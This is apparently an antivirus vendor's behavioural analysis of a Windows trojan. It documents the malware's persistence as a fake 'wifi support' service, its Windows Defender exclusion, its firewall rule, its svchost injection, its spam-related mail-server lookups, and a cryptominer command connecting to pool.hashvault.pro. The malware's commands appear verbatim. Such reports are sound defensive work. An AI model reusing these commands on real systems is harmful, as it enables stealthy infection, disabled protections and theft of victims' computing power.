Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\dthssidv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dthssidv] 'ImagePath' = '%WINDIR%\SysWOW64\dthssidv\cflfufqw.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\dthssidv] 'ImagePath' = '%WINDIR%\SysWOW64\dthssidv\cflfufqw.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\dthssidv' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\cflfufqw.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\cflfufqw.exe to %WINDIR%\syswow64\dthssidv\cflfufqw.exe
Deletes itself.
Network activity
Connects to
- 'mx#.#ate.com':25
TCP
HTTP GET requests
- http://www.google.com/
- http://li##4u.ru/client/users.json?t%######################################
- http://ch####p.dyndns.org/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ti###linet.it
- DNS ASK ms#.#inet.net
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK ma#.com
- DNS ASK mx#.##il.icloud.com
- DNS ASK ar####.bo.cnr.it
- DNS ASK qq.com
- DNS ASK mx#.qq.com
- DNS ASK te##.#orengos.com
- DNS ASK mx.##l.com.br
- DNS ASK na##.com
- DNS ASK pi##.aero
- DNS ASK an####am1.piac.aero
- DNS ASK fl##hnet.it
- DNS ASK ad##ess.com
- DNS ASK ma####.mailtwo.com
- DNS ASK br###ersfwb.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK wa##doo.fr
- DNS ASK sm####n.orange.fr
- DNS ASK si##.com
- DNS ASK fr#####.#inamail.sina.com.cn
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK uo#.com.br
- DNS ASK pu##am.com
- DNS ASK ya##o.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ya##o.in
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK fr##mail.hu
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK fm#.#reemail.hu
- DNS ASK hi##on.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK po##.#ashvault.pro
- DNS ASK hi########.mail.protection.outlook.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK google.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ne##ero.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mx.##a.untd.com
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK sa##am.com
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK zs##.net
- DNS ASK mx.##.163.com
- DNS ASK li##4u.ru
- DNS ASK mx#.#ate.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\dthssidv\cflfufqw.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dthssidv\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\cflfufqw.exe" %WINDIR%\SysWOW64\dthssidv\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create dthssidv binPath= "%WINDIR%\SysWOW64\dthssidv\cflfufqw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description dthssidv "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start dthssidv' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dthssidv\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\cflfufqw.exe" %WINDIR%\SysWOW64\dthssidv\
- '%WINDIR%\syswow64\sc.exe' create dthssidv binPath= "%WINDIR%\SysWOW64\dthssidv\cflfufqw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description dthssidv "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start dthssidv
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o pool.hashvault.pro:80 -u hvs1hBH2qRhZkKfQyujRfXN4wmUM8hM4VQnhn9xUM6NVgAcdnA3dUBh7qqFx38kZTVEbU3tD3jr2aFXwFtwyj3is7hGGAcW1EH.5000 -p с -k
